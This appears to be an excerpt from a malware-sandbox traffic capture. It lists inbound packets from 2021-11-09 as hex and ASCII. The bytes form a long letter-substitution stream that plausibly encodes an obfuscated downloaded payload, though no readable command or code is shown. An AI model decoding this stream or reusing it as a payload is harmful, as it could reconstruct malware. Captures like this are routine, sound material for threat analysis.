x RY x tO x RY x RY x RY x RY x RY x RY x RY x RY x RY x to x OxE x RY x RY x RY x Rt x KQ x RR
2021-11-09 21:21:49 UTC	1023	IN	Data Raw: 20 6b 4b 20 78 20 74 74 20 78 20 4f 4f 51 20 78 20 4f 4f 59 20 78 20 4f 6f 6f 20 78 20 74 52 20 78 20 4f 6f 6f 20 78 20 4f 78 6f 20 78 20 4f 4f 4b 20 78 20 4f 78 4f 20 78 20 4f 6f 78 20 78 20 74 45 20 78 20 6b 6b 20 78 20 6b 45 20 78 20 4f 78 6b 20 78 20 4f 4f 4f 20 78 20 4f 78 59 20 78 20 6b 4b 20 78 20 4f 78 74 20 78 20 4f 4f 45 20 78 20 59 4b 20 78 20 4f 4f 4f 20 78 20 59 4f 20 78 20 4f 4f 6b 20 78 20 6b 78 20 78 20 4f 4f 6b 20 78 20 59 45 20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4f 6f 78 20 78 20 4b 74 20 78 20 6b 78 20 78 20 74 52 20 78 20 4f 78 4b 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 4b 74 20 78 20 4b 51 20 78 20 4f 4f 74 20 78 20 74 52 20 78 20 52 74 20 78 20 4f 78 4b 20 78 20 4f 4f 4f 20 78 20 4f 4f 4b 20 78 20 4f 6f 4f 20 78 20 59 45 20 78 Data Ascii: kK x tt x OOQ x OOY x Ooo x tR x Ooo x Oxo x OOK x OxO x Oox x tE x kk x kE x Oxk x OOO x OxY x kK x Oxt x OOE x YK x OOO x YO x OOk x kx x OOk x YE x KE x OOk x Oox x Kt x kx x tR x OxK x OOR x tR x Kt x KQ x OOt x tR x Rt x OxK x OOO x OOK x OoO x YE x
2021-11-09 21:21:49 UTC	1025	IN	Data Raw: 4f 52 20 78 20 59 59 20 78 20 52 51 20 78 20 4f 78 4b 20 78 20 4f 78 78 20 78 20 74 59 20 78 20 6b 74 20 78 20 4f 78 59 20 78 20 74 4b 20 78 20 74 51 20 78 20 6b 45 20 78 20 4f 4f 4b 20 78 20 4f 4f 45 20 78 20 4f 78 52 20 78 20 4f 78 4f 20 78 20 59 52 20 78 20 4b 45 20 78 20 4b 74 20 78 20 4f 4f 78 20 78 20 59 4b 20 78 20 4b 74 20 78 20 74 6f 20 78 20 59 52 20 78 20 59 52 20 78 20 4f 4f 74 20 78 20 74 4f 20 78 20 4b 6b 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 6b 74 20 78 20 59 6f 20 78 20 4f 4f 59 20 78 20 74 59 20 78 20 74 4f 20 78 20 4f 78 59 20 78 20 4f 4f 6b 20 78 20 74 52 20 78 20 4f 78 51 20 78 20 4f 4f 6b 20 78 20 4f 4f 4f 20 78 20 59 4b 20 78 20 4f 78 51 20 78 20 59 4b 20 78 20 4f 4f 74 20 78 20 59 59 20 78 20 4f 78 59 20 78 20 4b 51 20 78 20 4f Data Ascii: OR x YY x RQ x OxK x Oxx x tY x kt x OxY x tK x tQ x kE x OOK x OOE x OxR x OxO x YR x KE x Kt x OOx x YK x Kt x to x YR x YR x OOt x tO x Kk x OOk x Kt x kt x Yo x OOY x tY x tO x OxY x OOk x tR x OxQ x OOk x OOO x YK x OxQ x YK x OOt x YY x OxY x KQ x O
2021-11-09 21:21:49 UTC	1026	IN	Data Raw: 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 Data Ascii: RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x
2021-11-09 21:21:49 UTC	1027	IN	Data Raw: 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 Data Ascii: RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x
2021-11-09 21:21:49 UTC	1029	IN	Data Raw: 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 59 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 4f 74 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 74 45 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 Data Ascii: Y x RY x kO x RY x RR x RY x RY x RY x RY x tY x RY x tE x RY x OxE x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RR x RY x RY x RY x RY x RY x RY x RY x RY x OOQ x RR x OOt x RY x RY x RY x RY x kO x RY x tE x RY x OxE x tE x kY x RY x RY x RY
2021-11-09 21:21:49 UTC	1030	IN	Data Raw: 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 6b 4f 20 78 20 52 59 20 78 20 4f 4f 51 20 78 20 52 74 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 59 20 78 20 4f 78 45 20 78 20 52 6b 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 4f 78 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 74 74 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 74 20 78 20 6b 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 6b 51 20 78 20 52 59 20 78 20 4f 4f 51 20 78 20 52 74 20 78 20 52 59 20 78 20 74 4b 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 Data Ascii: x RY x RQ x RY x RY x RY x Rt x kO x RY x OOQ x Rt x RY x tE x RY x RY x RY x RY x tY x OxE x Rk x RY x tE x RY x OxR x RY x RY x RY x RY x OOQ x RY x tt x RY x OxE x Rt x kQ x RY x RY x RY x Rk x kQ x RY x OOQ x Rt x RY x tK x OOQ x RY x RY x RY x kx x
2021-11-09 21:21:49 UTC	1031	IN	Data Raw: 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 4f 78 45 20 78 20 74 78 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 74 78 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 Data Ascii: x RY x RY x RY x Rt x OxE x tx x RY x tE x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x kO x RY x RY x RY x RY x RY x RY x RY x RQ x RY x RY x kO x RY x RY x RY x RQ x RY x tx x RY x tE x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x R
2021-11-09 21:21:49 UTC	1032	IN	Data Raw: 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 74 59 20 78 20 4f 78 45 20 78 20 74 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 6b 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 74 52 20 78 20 4f 78 45 20 78 20 74 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 Data Ascii: kO x RY x RY x tY x OxE x tx x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x kO x RY x RY x RY x RY x RY x RY x RY x RQ x RY x Rk x kO x kO x RY x RY x tR x OxE x tx x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY
2021-11-09 21:21:49 UTC	1034	IN	Data Raw: 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 74 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4f 78 45 20 78 20 74 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 74 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 Data Ascii: RY x RY x RY x RY x kO x RY x RY x RY x RY x RY x RY x RY x RQ x RY x Rt x kO x kO x RY x RY x Rk x OxE x tO x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x kO x RY x RY x RY x RY x RY x RY x RY x RQ x RY x Rt x kO x kO x RY x RY x
2021-11-09 21:21:49 UTC	1035	IN	Data Raw: 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 74 52 20 78 20 4f 78 45 20 78 20 74 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 74 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 74 74 20 78 20 4f 78 45 20 78 20 74 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 Data Ascii: O x RY x RY x tR x OxE x tO x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x kO x RY x RY x RY x RY x RY x RY x RY x RQ x RY x Rt x kO x kO x RY x RY x tt x OxE x tO x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x
2021-11-09 21:21:49 UTC	1036	IN	Data Raw: 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 6b 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 4f 78 45 20 78 20 74 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 6b 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 Data Ascii: Y x RY x RY x RY x kO x RY x RY x RY x RY x RY x RY x RY x RQ x RY x Rk x kO x kO x RY x RY x RQ x OxE x to x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x kO x RY x RY x RY x RY x RY x RY x RY x RQ x RY x Rk x kO x kO x RY x RY x
2021-11-09 21:21:49 UTC	1038	IN	Data Raw: 59 45 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4f 78 74 20 78 20 52 74 20 78 20 4f 78 45 20 78 20 74 45 20 78 20 52 59 20 78 20 4f 4f 4f 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 51 20 78 20 6b 4f 20 78 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 59 20 78 20 52 59 20 78 20 4f 4f 59 20 78 20 52 74 20 78 20 52 59 20 78 20 74 4b 20 78 20 6b 51 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4f 78 74 20 78 20 52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 Data Ascii: YE x RY x kO x RY x RY x RY x RY x RY x RY x RY x Rk x Oxt x Rt x OxE x tE x RY x OOO x OxE x RY x RY x RY x tQ x kO x RQ x RY x RY x RY x RY x RY x RY x RY x RY x OxY x RY x OOY x Rt x RY x tK x kQ x Rt x RY x RY x Rk x Oxt x RR x RY x RY x RY x RY x RY
2021-11-09 21:21:49 UTC	1039	IN	Data Raw: 74 45 20 78 20 4f 78 45 20 78 20 74 45 20 78 20 52 59 20 78 20 74 52 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 74 51 20 78 20 6b 4f 20 78 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 74 20 78 20 52 74 20 78 20 6b 4f 20 78 20 52 74 20 78 20 52 59 20 78 20 74 52 20 78 20 74 45 20 78 20 52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4f 78 74 20 78 20 52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 51 20 78 20 4f 78 51 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 74 20 78 20 6b 74 20 78 20 52 59 20 78 20 52 59 20 78 20 Data Ascii: tE x OxE x tE x RY x tR x RY x tE x RY x RY x tQ x kO x RQ x RY x RY x RY x RY x RY x RY x RY x RY x kt x Rt x kO x Rt x RY x tR x tE x RR x RY x RY x Rk x Oxt x RR x RY x RY x RY x RY x RY x RY x RY x RY x RY x OOQ x OxQ x RY x OxE x Rt x kt x RY x RY x
2021-11-09 21:21:49 UTC	1040	IN	Data Raw: 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 Data Ascii: x RY x RY x RY x RY x RY x RY x RY x RR x OOQ x RY x RY x RY x Rt x OxE x RY x RY x RY x RY x OxE x RY x RY x RY x RY x kO x RY x RY x RY x RY x RY x RQ x RY x RY x kO x RY x RY x RY x RY x RY x RY x RY x RY x RQ x RY x RY x RY x RY x RY x RY x RY x RY x
2021-11-09 21:21:49 UTC	1042	IN	Data Raw: 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 45 20 78 20 52 59 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 78 45 20 78 20 52 6b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 6f 20 78 20 52 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 52 20 78 20 52 59 20 78 20 74 6f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 45 20 78 20 52 59 20 78 20 52 52 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4b 74 Data Ascii: x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x KE x RY x kx x Kt x Kt x Kt x OxE x Rk x Kt x Kt x Kt x Yo x RY x Kt x Kt x Kt x YR x RY x to x Kt x Kt x KE x RY x RR x Kt x Kt x Kt x RY x RY x kx x Kt x Kt
2021-11-09 21:21:49 UTC	1043	IN	Data Raw: 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 Data Ascii: Y x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x R
2021-11-09 21:21:49 UTC	1044	IN	Data Raw: 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 Data Ascii: RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x
2021-11-09 21:21:49 UTC	1046	IN	Data Raw: 78 20 59 52 20 78 20 4f 4f 74 20 78 20 59 4b 20 78 20 4b 74 20 78 20 59 52 20 78 20 4f 78 4f 20 78 20 4f 6f 78 20 78 20 4b 74 20 78 20 59 52 20 78 20 4f 78 4f 20 78 20 4f 4f 51 20 78 20 4b 74 20 78 20 59 52 20 78 20 74 59 20 78 20 4f 4f 6f 20 78 20 4b 74 20 78 20 59 52 20 78 20 74 4f 20 78 20 4f 78 51 20 78 20 4b 74 20 78 20 59 59 20 78 20 59 78 20 78 20 4f 78 6f 20 78 20 4f 78 51 20 78 20 4f 78 51 20 78 20 74 4b 20 78 20 6b 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 59 78 20 78 20 74 74 20 78 20 6b 45 20 78 20 59 4b 20 78 20 6b 51 20 78 20 52 51 20 78 20 4f 78 45 20 78 20 4f 4f 51 20 78 20 6b 51 20 78 20 52 51 20 78 20 4f 78 45 20 78 20 4f 4f 51 20 78 20 6b 51 20 78 Data Ascii: x YR x OOt x YK x Kt x YR x OxO x Oox x Kt x YR x OxO x OOQ x Kt x YR x tY x OOo x Kt x YR x tO x OxQ x Kt x YY x Yx x Oxo x OxQ x OxQ x tK x kk x RY x RY x RY x RY x RY x RY x RY x RY x Yx x tt x kE x YK x kQ x RQ x OxE x OOQ x kQ x RQ x OxE x OOQ x kQ x
2021-11-09 21:21:49 UTC	1047	IN	Data Raw: 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 6b 20 78 20 4b 51 20 78 20 59 74 20 78 20 4f 78 6f 20 78 20 6b 74 20 78 20 74 78 20 78 20 51 78 20 78 20 4f 6f 6f 20 78 20 4f 78 52 20 78 20 74 78 20 78 20 4f 6f 78 20 78 20 51 78 20 78 20 59 52 20 78 20 4f 4f 59 20 78 20 4f 4f 6b 20 78 20 52 59 20 78 20 4b 74 20 78 20 59 52 20 78 20 4b 74 20 78 20 52 59 20 78 20 4b 74 Data Ascii: x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x kk x KQ x Yt x Oxo x kt x tx x Qx x Ooo x OxR x tx x Oox x Qx x YR x OOY x OOk x RY x Kt x YR x Kt x RY x Kt
2021-11-09 21:21:49 UTC	1048	IN	Data Raw: 74 59 20 78 20 4f 78 59 20 78 20 6b 4f 20 78 20 6b 51 20 78 20 52 51 20 78 20 4f 78 45 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 6b 20 78 20 6b 52 20 78 20 6b 52 20 78 20 59 74 20 78 20 74 6b 20 78 20 6b 52 20 78 20 6b 52 20 78 20 59 74 20 78 20 74 6b 20 78 20 6b 52 20 78 20 6b 52 20 78 20 59 74 Data Ascii: tY x OxY x kO x kQ x RQ x OxE x OOQ x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x tk x kR x kR x Yt x tk x kR x kR x Yt x tk x kR x kR x Yt
